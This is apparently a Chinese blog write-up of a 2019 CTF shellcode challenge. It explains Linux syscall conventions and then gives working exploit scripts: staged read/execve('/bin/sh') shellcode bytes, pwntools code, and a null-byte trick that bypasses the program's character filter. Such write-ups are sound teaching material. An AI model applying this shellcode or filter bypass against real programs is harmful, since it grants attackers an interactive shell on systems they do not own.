pollux's Dairy

2019-sixstarsCTF-babyshell[shellcode]

字数统计: 1.5k阅读时长: 9 min
2019/05/05 Share

0x00 系统调用

操作系统的进程空间可分为用户空间和内核空间,它们需要不同的执行权限。其中系统调用运行在内核空间。系统调用,指运行在用户空间的程序向操作系统请求需要更高权限运行的服务。系统调用提供用户程序与操作系统之间的接口。下面讲述linux环境下的系统调用实现

在x86 linux环境下,系统调用通过 int 0x80 实现 ,在x86-64 linux环境下,系统调用通过 syscall 实现,其都通过系统调用号来区分入口函数,但是x86和x86-64的系统调用号不同,可以通过系统的如下文件来查看系统调用号

1
2
locate unistd_64.h	//64位系统调用号文件
locate unistd_32.h //32位系统调用号文件
1
2
3
4
5
6
7
8
9
10
11
12
head -n10 /usr/include/x86_64-linux-gnu/asm/unistd_64.h

#ifndef _ASM_X86_UNISTD_64_H
#define _ASM_X86_UNISTD_64_H 1

#define __NR_read 0
#define __NR_write 1
#define __NR_open 2
#define __NR_close 3
#define __NR_stat 4
#define __NR_fstat 5
#define __NR_lstat 6

1、x86系统调用的过程

  1. 把系统调用编号存入eax寄存器
  2. 将函数参数传入其他寄存器
  3. 执行 int 0x80 使系统进入内核态,执行相应函数

x86系统调用中

寄存器 作用
eax 系统调用号
ebx 函数第一个参数(如果存在)
ecx 函数第二个参数(如果存在)
edx 函数第三个参数(如果存在)
esi 函数第四个参数(如果存在)
edi 函数第五个参数(如果存在)

2、x86-64系统调用的过程

  1. 把系统调用编号存入rax寄存器
  2. 将函数参数传入其他寄存器
  3. 执行 syscall 使系统进入内核态,执行相应函数

x86-64系统调用中

寄存器 作用
rax 系统调用号
rdi 函数第一个参数(如果存在)
rsi 函数第二个参数(如果存在)
rdx 函数第三个参数(如果存在)
r10 函数第四个参数(如果存在)
r8 函数第五个参数(如果存在)
r9 函数第六个参数(如果存在)

下面以调用execve(‘/bin/sh’,0,0)为例

在x86-64系统中execve的系统调用号是59,所以我们要使得

  • rax = 59
  • rdi = 存储字符串’/bin/sh’的地址
  • rsi = 0
  • rdx = 0

然后执行 syscall 就会调用execve(‘/bin/sh’,0,0)

0x01 程序分析

程序会要求输入一段shellcode,然后直接直接执行shellcode,但是shellcode有限制,限制如下

1
2
3
4
5
6
7
8
for ( i = a1; *i; ++i )
{
for ( j = &unk_400978; *j && *j != *i; ++j )
;
if ( !*j )
return 0LL;
}
return 1LL;

而unk_400978存储的内容为”ZZJ loves shell_code,and here is a gift:\017\005 enjoy it!”,\017\005正好是syscall的机器码

0x02 预期解

程序运行到执行shellcode处时,我们观察寄存器,发现rax = 0,rsi为程序写shellcode的内存地址,栈上存在0,且read函数的系统调用号是0,那么我们可以将栈上数据pop到合适的寄存器,调用read,没有限制的写shellcode,最后就可以执行该shellcode了

image-20190616204043891

所以系统调用read函数的汇编代码为

1
2
3
4
5
6
7
8
9
10
Section .text
global _start
_start:
pop rdx
pop rdx
pop rdx
pop rdx
pop rdi
pop rdi
syscall
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$nasm -f elf64 read.asm -o read.o
$ld -i read.o -o read
$objdump -d read

Disassembly of section .text:

0000000000000000 <_start>:
0: 5a pop %rdx
1: 5a pop %rdx
2: 5a pop %rdx
3: 5a pop %rdx
4: 5f pop %rdi
5: 5f pop %rdi
6: 0f 05 syscall

使用sed正则匹配 截取一下机器码

$objdump -d read | grep -Po '\s\K[a-f0-9]{2}(?=\s)' | sed 's/^/\\x/g' | perl -pe 's/\r?\n//' | sed 's/$/\n/'
\x5a\x5a\x5a\x5a\x5f\x5f\x0f\x05

这样程序就会调用read,向内存中写数据,这次没有限制,就可以调用execv(“/bin/sh”,0,0)

首先要向栈上写”/bin/sh”,x86-64栈是8字节对齐,”/bin/sh”长度为7,所以可以改为”//bin/sh”,没有影响。
因为栈的增长方向是从高地址向低地址,但是系统读取内存的方向是从低地址向高地址,所以需要将”//bin/sh”反过来写,并转成十六进制。

我们先写汇编代码,在生成机器码

1
2
3
4
5
6
7
8
9
10
11
12
13
Section .text
global _start
_start:
xor rsi,rsi ;clear rsi
push rsi
mov rdi,0x68732f6e69622f2f

push rdi
mov rdi,rsp ;rdi = addr of "//bin/sh"
xor rdx,rdx ;clear rdx

mov al,59
syscall

最后的shellcode为

1
\x48\x31\xf6\x56\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x57\x48\x89\xe7\x48\x31\xd2\xb0\x3b\x0f\x05

预期解exp

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
p = process('./shellcode')
#p = remote('34.92.37.22', 10002)
gdb.attach(p)

shellcode1 = "\x5a\x5a\x5a\x5a\x5f\x5f\x0f\x05"
p.recvuntil('plz:')
p.send(shellcode1)
shellcode2 = "a"*8+"\x48\x31\xf6\x56\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x57\x48\x89\xe7\x48\x31\xd2\xb0\x3b\x0f\x05"
p.sendline(shellcode2)
p.interactive()

也可以使用pwntools自带的asm模块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
context.arch = 'amd64'
p = process('./shellcode')
#p = remote('34.92.37.22', 10002)
#gdb.attach(p)

shellcode = asm("""
pop rdx
pop rdx
pop rdx
pop rdx
pop rdi
pop rdi
syscall
""")
p.recvuntil('plz:')
p.sendline(shellcode)
p.send("\x90"*0x8+asm(shellcraft.sh()))
p.interactive()

0x03 非预期解

因为程序对shellcode的判断 for ( i = a1; *i; ++i ) ,那么shellcode重出现\x00时,程序就不会进入循环,直接return 1了,那么我们在原先的shellcode前加个push 0 就能成功绕过判断。

非预期解exp

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context.arch = 'amd64'
p = process('./shellcode')
#p = remote('34.92.37.22', 10002)
#gdb.attach(p)

shellcode = asm("""
push 0
""")
p.recvuntil('plz:')
p.send(shellcode+asm(shellcraft.sh()))
p.interactive()

0x04 REFFERENCE

1、x86-64 linux系统调用

2、x86 linux系统调用

3、linux系统调用

4、linux下编写shellcode

可以使用strace命令查看系统调用过程

CATALOG
  1. 1. 0x00 系统调用
    1. 1.1. 1、x86系统调用的过程
    2. 1.2. 2、x86-64系统调用的过程
  2. 2. 0x01 程序分析
  3. 3. 0x02 预期解
    1. 3.1. 预期解exp
  4. 4. 0x03 非预期解
    1. 4.1. 非预期解exp
  5. 5. 0x04 REFFERENCE